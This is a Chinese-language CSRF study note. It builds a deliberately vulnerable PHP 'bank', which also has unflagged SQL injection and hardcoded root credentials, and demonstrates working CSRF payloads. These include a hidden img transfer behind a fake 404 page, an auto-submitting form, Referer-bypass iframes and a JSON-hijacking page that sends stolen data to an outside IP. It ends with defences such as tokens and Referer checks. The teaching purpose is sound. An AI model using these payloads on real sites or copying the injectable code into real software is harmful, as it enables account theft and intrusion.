CSRF学习笔记
0x00 CSRF简介
CSRF的全名是Cross Site Requests Forgery,翻译成中文就是跨站点请求伪造。
攻击者诱使受害者访问一个页面,就可以以该用户身份在第三方站点里执行一次请求。
0x01 写一个简单的存在csrf漏洞的小银行
login.php
1 <?php
2 session_start();
3 if($_SESSION['info'] === true){
4 ¦ header("Location: account.php");
5 }
6 if($_POST){
7 ¦ $uname = $_POST['uname'];
8 ¦ $passwd = $_POST['passwd'];
9 ¦ $db = mysqli_connect('localhost', 'root', 'password', 'csrf');
10 ¦ $query = "select * from accounts where username='" . $uname . "' and password='" . $passwd . "'";
11 ¦ $result = mysqli_query($db, $query);
12 ¦ if($result){
13 ¦ ¦ $_SESSION['info'] = true;
14 ¦ ¦ $row = mysqli_fetch_assoc($result);
15 ¦ ¦ $_SESSION['userid'] = $row['userid'];
16 ¦ ¦ header("Location: account.php");
17 ¦ }
18 ¦ mysqli_close($db);
19 }
20 ?>
21 <html>
22 <head>
23 <meta chaset="utf-8">
24 <title>Online Bank</title>
25 </head>
26 <body>
27 <h1>Online Bank</h1>
28 <form action="register.php" method="post">
29 ¦ <input type="submit" value="Register"/>
30 </form>
31 <form action="login.php" method="post">
32 ¦ <table border="0">
33 ¦ ¦ <tr>
34 ¦ ¦ ¦ <td>Username: </td>
35 ¦ ¦ ¦ <td align="center" width="150"><input type="text" name="uname" size="15" maxlength="15"/></td>
36 ¦ ¦ </tr>
37 ¦ ¦ <tr>
38 ¦ ¦ ¦ <td>Password: </td>
39 ¦ ¦ ¦ <td align="center" width="150"><input type="text" name="passwd" size="15" maxlength="15"/></td>
40 ¦ ¦ </tr>
41 ¦ ¦ <tr>
42 ¦ ¦ ¦ <td colspan="8" align="center"><input type="submit" value="Login"/></td>
43 ¦ ¦ </tr>
44 ¦ </table>
45 </form>
46 </body>
47 </html>
register.php
1 <?php
2 $db = mysqli_connect('localhost', 'root', 'password', 'csrf');
3 if($_POST['uname'] && $_POST['passwd']){
4 ¦ $query = "insert into accounts (username, password, remain) values ('" . $_POST['uname'] . "', '" . $_POST['passwd'] . "', " . $_POST['remain'] . ")";
5 ¦ $result = mysqli_query($db, $query);
6 ¦ if($result){
7 ¦ ¦ header("Location: login.php");
8 ¦ }
9 }
10 mysqli_close($db);
11 ?>
12 <html>
13 <head>
14 <meta charset="utf-8">
15 <title>Register</title>
16 </head>
17 <body>
18 <form action="register.php" method="post">
19 ¦ <table border="0">
20 ¦ ¦ <tr>
21 ¦ ¦ ¦ <td>Username: </td>
22 ¦ ¦ ¦ <td align="center" width="150"><input type="text" name="uname" size="15" maxlength="15"/></td>
23 ¦ ¦ </tr>
24 ¦ ¦ <tr>
25 ¦ ¦ ¦ <td>Password: </td>
26 ¦ ¦ ¦ <td align="center" width="150"><input type="text" name="passwd" size="15" maxlength="15"/></td>
27 ¦ ¦ </tr>
28 ¦ ¦ <tr>
29 ¦ ¦ ¦ <td>Remain: </td>
30 ¦ ¦ ¦ <td align="center" width="150"><input type="text" name="remain" size="15" maxlength="15"/></td>
31 ¦ ¦ </tr>
32 ¦ ¦ <tr>
33 ¦ ¦ ¦ <td colspan="8" align="center"><input type="submit" value="register"/></td>
34 ¦ ¦ </tr>
35 ¦ </table>
36 </form>
37 </body>
38 </html>
account.php
1 <?php
2 session_start();
3 if(!(isset($_SESSION['info']) && $_SESSION['info'] === true)){
4 ¦ header("Location: login.php");
5 }
6 $db = mysqli_connect('localhost', 'root', 'password', 'csrf');
7 $query = "select * from accounts where userid=" . $_SESSION['userid'];
8 $result = mysqli_query($db, $query);
9 $row = mysqli_fetch_assoc($result);
10 echo "账户余额:" . $row['remain'];
11 if($_GET['uname'] && $_GET['amount']){
12 ¦ $query = "update accounts set remain=" . (intval($row['remain']) - intval($_GET['amount'])) . " where userid=" . $_SESSION['userid'];
13 ¦ $result = mysqli_query($db, $query);
14 ¦ $query = "select * from accounts where username='" . $_GET['uname'] . "'";
15 ¦ $result = mysqli_query($db, $query);
16 ¦ $row = mysqli_fetch_assoc($result);
17 ¦ $query = "update accounts set remain=" . (intval($row['remain']) + intval($_GET['amount'])) . " where userid=" . $row['userid'];
18 ¦ $result = mysqli_query($db, $query);
19 }
20 mysqli_close($db);
21 ?>
22 <html>
23 <head>
24 <meta charset="utf-8">
25 <title>Account</title>
26 </head>
27 <body>
28 <form action="account.php" method="get">
29 ¦ <table border="0">
30 ¦ ¦ <tr>
31 ¦ ¦ ¦ <td>转账至:</td>
32 ¦ ¦ ¦ <td align="center" width="150"><input type="text" name="uname" size="15" maxlength="15"/></td>
33 ¦ ¦ </tr>
34 ¦ ¦ <tr>
35 ¦ ¦ ¦ <td>金额:</td>
36 ¦ ¦ ¦ <td align="center" width="150"><input type="text" name="amount" size="15" maxlength="15"/></td>
37 ¦ ¦ </tr>
38 ¦ ¦ <tr>
39 ¦ ¦ ¦ <td colspan="8" align="center"><input type="submit" value="post"/></td>
40 ¦ ¦ </tr>
41 ¦ </table>
42 </form>
43 </body>
受害者账户
攻击者用户
0x02 漏洞的简单利用
代码中没有任何过滤,只有cookie的检查,所以只要引诱受害者访问写入了恶意代码的恶意网站,如果此时受害者恰巧访问了银行,或者cookie还没有过期,那么攻击将执行。如下是一个简单的恶意代码:
evil.html
1 <img src="http://localhost:8001/csrf/account.php?uname=zyq&amount=100#" border="0" style="display:none;"/>
2 <h1>404</h1>
3 <h2>file not found.</h2>
引诱受害者访问恶意网站,受害者以为他访问只是一个404错误的页面,然而,此时,他的钱已经打到了别人的账户上
受害者账户
攻击者账户
攻击成功触发
0x03 攻击方式
1. HTML攻击
即利用HTML元素发出GET请求(带src属性的HTML标签都可以跨域发起GET请求),如:
<link href="…">
<img src="…">
<iframe src="…">
<meta http-equiv="refresh" content="0; url="…">
<script src="…">
<video src="…">
<audio src="…">
<a href="…">
<table background="…">
如果是post请求,则必须通过提交表单的方式(下文会有详细说明)。
另外,这些标签也可以用javascript动态生成,如:
<script>
new Image().src = 'http://www.goal.com/…';
</script>
2. JSON HiJacking攻击
JSONP(JSON with Padding)是一个非官方的协议,是Web前端的JavaScript跨域获取数据的一种方式。
JavaScript在读写数据时受到同源策略的限制,不可以读写其他域的数据,于是大家想出了这样一种办法:
前端html代码
1 <html>
2 <meta content="text/html" charset="utf-8" http-equiv="Content-Type"/>
3 <script type="text/javascript">
4 ¦ function jsonpCallback(result){
5 ¦ ¦ for(var i in result){
6 ¦ ¦ ¦ alert(i + ":" + result[i]);
7 ¦ ¦ }
8 ¦ }
9 </script>
10 <script type="text/javascript" src="http://localhost:8001/csrf/jsonp.php?callback=jsonpCallback"></script>
11 </html>
后端php代码
1 <?php
2 $arr = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5);
3 $result = json_encode($arr);
4 $callback = $_GET['callback'];
5 echo $callback . "($result)";
6 ?>
我们在前端定义了jsonpCallback函数来处理后端返回的JSON数据,然后利用script标签的src属性跨域获取数据,并且把刚才定义的回调函数的名称传递给了后端,于是后端构造出“jsonpCallback({“a”:1, “b”:2, “c”:3, “d”:4, “e”:5})”的函数调用过程返回到前端执行,达到了跨域获取数据的目的,前端页面成功实现弹框。
当用户通过身份认证之后,前端会通过JSONP的方式从服务端获取该用户的隐私数据,然后在前端进行一些处理,如个性化显示等等。这个JSONP的调用接口如果没有做相应的防护,就容易受到JSON HiJacking的攻击。
攻击者可以构造如下页面
1 <html>
2 <meta content="text/html" charset="utf-8" http-equiv="Content-Type"/>
3 <script type="text/javascript">
4 ¦ function hijack(result){
5 ¦ ¦ var data = "";
6 ¦ ¦ for(var i in result){
7 ¦ ¦ ¦ data += i + ":" + result[i];
8 ¦ ¦ }
9 ¦ ¦ new Image().src = "http://112.74.35.205/jsonhijacking.php?data=" + escape(data);
10 ¦ }
11 </script>
12 <script type="text/javascript" src="http://localhost:8001/csrf/jsonp.php?callback=hijack"></script>
13 </html>
攻击者在页面中构造了自己的回调函数,把获取的数据都发送到了自己的服务器上。
我们在apache日志中可以看到
112.122.31.16 - - [30/Jan/2018:20:40:20 +0800] "GET /jsonhijacking.php?data=a%3A1b%3A2c%3A3d%3A4e%3A5 HTTP/1.1" 404 511 "http://localhost:8001/csrf/jsonhijacking.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
成功窃取了信息
3. Flash攻击
Flash CSRF通常是由于Crossdomain.xml文件配置不当造成的,利用方法是使用swf来发起跨站请求伪造。
我们可以在根目录打开Crossdomain.xml来查看该网站或者只域名是否存在FLAH的CSRF:
http://www.xxx.com/crossdomain.xml
例如baidu.com:
<cross-domain-policy>
<allow-access-from domain="*.baidu.com"/>
<allow-access-from domain="*.bdstatic.com"/>
<allow-http-request-headers-from domain="*.baidu.com" headers="*"/>
<allow-http-request-headers-from domain="*.bdstatic.com" headers="*"/>
</cross-domain-policy>
再如
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>
此例中Flash跨域权限管理文件过滤规则不严(domain=”*”),导致可以从其它任何域传Flash产生CSRF。
Flash有很多种方法能够发起网络请求,包括post。可以使用URLRequest,getURL,loadVars等方式发送请求。
在IE6、IE7中,Flash发送的网络请求均可以带上本地cookie,但是从IE8起,Flash不再发送本地cookie
防御:站点根目录CrossDomain.xml跨域获取信息权限控制好,精确到子域
(还没学过AS,只能看懂这么多了~)
4. CSRF Worm
CSRF蠕虫就是利用之前讲述的各种攻击方法在CSRF的攻击页面中加入了蠕虫传播的攻击向量。
(先跳过吧,自己太菜~)
0x04 防御,以及相应的绕过手段
1. 将get请求改为post请求
将转账的表单该用post来完成
如果用$_REQUEST来获取请求数据,就有问题了,$_REQUEST既可以获取get请求的数据,也可以获取post请求的数据,这就造成了在后台处理程序无法区分这到底是get请求的数据还是post请求的数据。在这种情况下,使用上面的代码<img src="http://localhost:8001/csrf/account.php?uname=zyq&amount=100#">
依然可以完成攻击。
所以要使用$_POST来获取数据,但我们依然可以攻击。我们需要使用javascript来触发
1 <html>
2 <head type="text/javascript">
3 ¦ <script>
4 ¦ ¦ function steal(){
5 ¦ ¦ ¦ var f = document.getElementById("transfer");
6 ¦ ¦ ¦ f.uname.value = "zyq";
7 ¦ ¦ ¦ f.amount.value = "100";
8 ¦ ¦ ¦ f.submit();
9 ¦ ¦ }
10 ¦ </script>
11 </head>
12 <body onload="steal()">
13 ¦ <form action="http://localhost:8001/csrf/account.php" method="post" id="transfer">
14 ¦ ¦ <input type="hidden" name="uname" value="" />
15 ¦ ¦ <input type="hidden" name="amount" value="" />
16 ¦ </form>
17 ¦ <h1>404</h1>
18 ¦ <h2>file not found.</h2>
19 </body>
20 </html>
2. Referer Check
我们也可以验证HTTP请求头中的Referer字段
-
判断Referer是否是某域
-
判断Referer中是否存在某关键词/某域名
我们可以把文件名直接改为该关键词/域名
-
利用空Referer绕过
-
通过地址栏手动输入,或者从书签中直接打开
-
使用了noreferer标签
-
由于浏览器的特性,跨协议请求时不带referer,例如从https向http跳转的时候是不带referer的
-
https环境不好搭建,我们还可以利用用ftp://,file://,javascript:,data:
利用data:协议 <iframe src="data:text/html,<script src=http://localhost/csrf/evil.html></script>"> //IE不支持 利用 xxx.src='javascript:"HTML代码的方式"'; <iframe id="aa" src=""></iframe> <script> document.getElementById("aa").src='javascript:"<html><body><scr'+'ipt>eval(你想使用的代码)</scr'+'ipt></body></html>"'; </script>
-
Referer Check还有一个缺陷,很多用户出于对隐私的保护,限制了Referer的发送,所以服务器并非什么时候都能获取到Referer,当然也就无从验证。所以这种方法也只能用来监控,而不是抵御。
3. 请求中加入随机的token
CSRF能够成功的本质原因是重要操作的所有参数都是可以被攻击者猜测到的,反之,在验证中加入一些攻击者无法预测的参数值,例如把参数加密,或者使用一些随机数。
比如,一个删除操作的URL是:
http://host/path/delete?username=abc&item=123
把其中的username参数改成哈希值:
http://host/path/delete?username=md5(salt+abc)&item=123
这样,在攻击者不知道salt的情况下,是无法构造出这个URL的,也就无法发起CSRF攻击。
但这种方法也存在问题。首先,加密后的URL变得很难读,对用户很不友好。其次,如果加密的参数每次都在改变,那么某些URL将无法被用户收藏。
因此,我们需要一个更加通用的解决办法,这个办法就是随机token,这也是目前主流的防御手段。
回到上面的URL中,新增一个token参数,这个值是随机的:
http://host/path/delete?username=abc&item=123&token=[radom(seed)]
在实际应用中,token可以放在session中,或者浏览器的cookie中,在提交请求时,服务器只需验证表单中的token和用户session或者cookie中的token是否一致,如果一致就认为是合法请求,不一致,那么可能发生了CSRF攻击。
使用token有几个原则
- token的生成一定要足够随机
- 为了使用方便。可以允许在一个用户的有效生命周期内,在token消耗前都使用同一个token。但是,如果用户已经提交了表单,则这个token已经消耗,应该重新生成一个token
- 要注意token的保密性,敏感操作使用post,防止token出现在URL中
但这种方法也不是万能的,如果网站还存在XSS漏洞,那么攻击者还能够利用XSS来获取到用户的token,攻击者就能成功构造请求。
4. 在HTTP头中自定义属性并验证
本质上还是使用token进行验证,只不过是将token以参数的形式放在了http头的自定义属性中。通过XMLHttpRequest类,可以一次性给所有该类请求加上csrftoken这个HTTP头属性,并把token值放入其中。解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,保证了保密性。
5. 验证码
CSRF攻击过程往往是在用户不知情的情况下构造了网络请求,而验证码则强制用户必须与web应用进行交互,才能完成请求。因此,通常在这种情况下,验证码能很好地遏制CSRF攻击。但很多时候,网站考虑到用户体验,验证码只会出现在像注册登陆这种特殊操作中。
参考文章:
- http://drops.chamd5.org/#!/drops/1189.%E9%82%AA%E6%81%B6%E7%9A%84CSRF
- http://blog.51cto.com/0x007/1610946
- http://drops.chamd5.org/#!/drops/32.CSRF%E7%AE%80%E5%8D%95%E4%BB%8B%E7%BB%8D%E5%8F%8A%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95
- 《白帽子讲Web安全》第四章